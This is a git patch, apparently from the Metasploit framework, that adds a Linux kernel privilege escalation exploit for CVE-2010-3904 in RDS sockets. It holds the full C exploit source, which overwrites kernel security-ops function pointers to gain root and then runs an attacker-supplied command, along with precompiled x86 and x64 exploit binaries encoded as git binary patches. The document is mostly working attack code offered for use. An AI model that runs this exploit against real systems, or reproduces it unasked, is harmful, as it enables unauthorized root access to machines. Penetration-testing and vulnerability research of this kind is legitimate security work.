From 3a688451b6a9f5ae6ed9539d9d08faf720a944c9 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Thu, 3 May 2018 12:51:21 +0000 Subject: [PATCH] Add Reliable Datagram Sockets (RDS) Privilege Escalation --- data/exploits/cve-2010-3904/rds-fail.c | 288 +++++++++++++++++++ data/exploits/cve-2010-3904/rds-fail.x64 | Bin 0 -> 65696 bytes data/exploits/cve-2010-3904/rds-fail.x86 | Bin 0 -> 91488 bytes modules/exploits/linux/local/rds_priv_esc.rb | 183 ++++++++++++ 4 files changed, 471 insertions(+) create mode 100644 data/exploits/cve-2010-3904/rds-fail.c create mode 100644 data/exploits/cve-2010-3904/rds-fail.x64 create mode 100644 data/exploits/cve-2010-3904/rds-fail.x86 create mode 100644 modules/exploits/linux/local/rds_priv_esc.rb diff --git a/data/exploits/cve-2010-3904/rds-fail.c b/data/exploits/cve-2010-3904/rds-fail.c new file mode 100644 index 0000000000..3357def6c7 --- /dev/null +++ b/data/exploits/cve-2010-3904/rds-fail.c @@ -0,0 +1,288 @@ +// source: http://www.vsecurity.com/resources/advisory/20101019-1/ + +/* + * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit + * CVE-2010-3904 + * by Dan Rosenberg + * + * Copyright 2010 Virtual Security Research, LLC + * + * The handling functions for sending and receiving RDS messages + * use unchecked __copy_*_user_inatomic functions without any + * access checks on user-provided pointers. As a result, by + * passing a kernel address as an iovec base address in recvmsg-style + * calls, a local user can overwrite arbitrary kernel memory, which + * can easily be used to escalate privileges to root. Alternatively, + * an arbitrary kernel read can be performed via sendmsg calls. + * + * This exploit is simple - it resolves a few kernel symbols, + * sets the security_ops to the default structure, then overwrites + * a function pointer (ptrace_traceme) in that structure to point + * to the payload. After triggering the payload, the original + * value is restored. Hard-coding the offset of this function + * pointer is a bit inelegant, but I wanted to keep it simple and + * architecture-independent (i.e. no inline assembly). + * + * The vulnerability is yet another example of why you shouldn't + * allow loading of random packet families unless you actually + * need them. + * + * Greets to spender, kees, taviso, hawkes, team lollerskaters, + * joberheide, bla, sts, and VSR + * + */ + +// Modified for Metasploit (see comments marked 'msf note') + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define RECVPORT 5555 +#define SENDPORT 6666 + +int prep_sock(int port) +{ + + int s, ret; + struct sockaddr_in addr; + + s = socket(PF_RDS, SOCK_SEQPACKET, 0); + + if(s < 0) { + printf("[*] Could not open socket.\n"); + exit(-1); + } + + memset(&addr, 0, sizeof(addr)); + + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + + ret = bind(s, (struct sockaddr *)&addr, sizeof(addr)); + + if(ret < 0) { + printf("[*] Could not bind socket.\n"); + exit(-1); + } + + return s; + +} + +void get_message(unsigned long address, int sock) +{ + + recvfrom(sock, (void *)address, sizeof(void *), 0, + NULL, NULL); + +} + +void send_message(unsigned long value, int sock) +{ + + int size, ret; + struct sockaddr_in recvaddr; + struct msghdr msg; + struct iovec iov; + unsigned long buf; + + memset(&recvaddr, 0, sizeof(recvaddr)); + + size = sizeof(recvaddr); + + recvaddr.sin_port = htons(RECVPORT); + recvaddr.sin_family = AF_INET; + recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); + + memset(&msg, 0, sizeof(msg)); + + msg.msg_name = &recvaddr; + msg.msg_namelen = sizeof(recvaddr); + msg.msg_iovlen = 1; + + buf = value; + + iov.iov_len = sizeof(buf); + iov.iov_base = &buf; + + msg.msg_iov = &iov; + + ret = sendmsg(sock, &msg, 0); + if(ret < 0) { + printf("[*] Something went wrong sending.\n"); + exit(-1); + } +} + +void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) +{ + + if(!fork()) { + sleep(1); + send_message(value, sendsock); + exit(1); + } + else { + get_message(addr, recvsock); + wait(NULL); + } + +} + +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); +_commit_creds commit_creds; +_prepare_kernel_cred prepare_kernel_cred; + +int __attribute__((regparm(3))) +getroot(void * file, void * vma) +{ + + commit_creds(prepare_kernel_cred(0)); + return -1; + +} + +/* thanks spender... */ +unsigned long get_kernel_sym(char *name) +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[512]; + struct utsname ver; + int ret; + int rep = 0; + int oldstyle = 0; + + f = fopen("/proc/kallsyms", "r"); + if (f == NULL) { + f = fopen("/proc/ksyms", "r"); + if (f == NULL) + goto fallback; + oldstyle = 1; + } + +repeat: + ret = 0; + while(ret != EOF) { + if (!oldstyle) + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + else { + ret = fscanf(f, "%p %s\n", (void **)&addr, sname); + if (ret == 2) { + char *p; + if (strstr(sname, "_O/") || strstr(sname, "_S.")) + continue; + p = strrchr(sname, '_'); + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { + p = p - 4; + while (p > (char *)sname && *(p - 1) == '_') + p--; + *p = '\0'; + } + } + } + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); + fclose(f); + return addr; + } + } + + fclose(f); + if (rep) + return 0; +fallback: + /* didn't find the symbol, let's retry with the System.map + dedicated to the pointlessness of Russell Coker's SELinux + test machine (why does he keep upgrading the kernel if + "all necessary security can be provided by SE Linux"?) + */ + uname(&ver); + if (strncmp(ver.release, "2.6", 3)) + oldstyle = 1; + sprintf(sname, "/boot/System.map-%s", ver.release); + f = fopen(sname, "r"); + if (f == NULL) + return 0; + rep = 1; + goto repeat; +} + +int main(int argc, char * argv[]) +{ + unsigned long sec_ops, def_ops, cap_ptrace, target; + int sendsock, recvsock; + struct utsname ver; + + printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); + printf("[*] by Dan Rosenberg\n"); + + uname(&ver); + + if(strncmp(ver.release, "2.6.3", 5)) { + printf("[*] Your kernel is not vulnerable.\n"); + return -1; + } + + /* Resolve addresses of relevant symbols */ + printf("[*] Resolving kernel addresses...\n"); + sec_ops = get_kernel_sym("security_ops"); + def_ops = get_kernel_sym("default_security_ops"); + cap_ptrace = get_kernel_sym("cap_ptrace_traceme"); + commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); + prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); + + if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) { + printf("[*] Failed to resolve kernel symbols.\n"); + return -1; + } + + /* Calculate target */ + target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1)); + + sendsock = prep_sock(SENDPORT); + recvsock = prep_sock(RECVPORT); + + /* Reset security ops */ + printf("[*] Overwriting security ops...\n"); + write_to_mem(sec_ops, def_ops, sendsock, recvsock); + + /* Overwrite ptrace_traceme security op fptr */ + printf("[*] Overwriting function pointer...\n"); + write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); + + /* Trigger the payload */ + printf("[*] Triggering payload...\n"); + ptrace(PTRACE_TRACEME, 1, NULL, NULL); + + /* Restore the ptrace_traceme security op */ + printf("[*] Restoring function pointer...\n"); + write_to_mem(target, cap_ptrace, sendsock, recvsock); + + if(getuid()) { + printf("[*] Exploit failed to get root.\n"); + return -1; + } + + printf("[*] Got root!\n"); + // msf note: modified to execute argv[1] + //execl("/bin/sh", "sh", NULL); + system(argv[1]); + +} diff --git a/data/exploits/cve-2010-3904/rds-fail.x64 b/data/exploits/cve-2010-3904/rds-fail.x64 new file mode 100644 index 0000000000000000000000000000000000000000..b0c0f82d48aeab79ab58d6f5dd485e0b73853439 GIT binary patch literal 65696 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 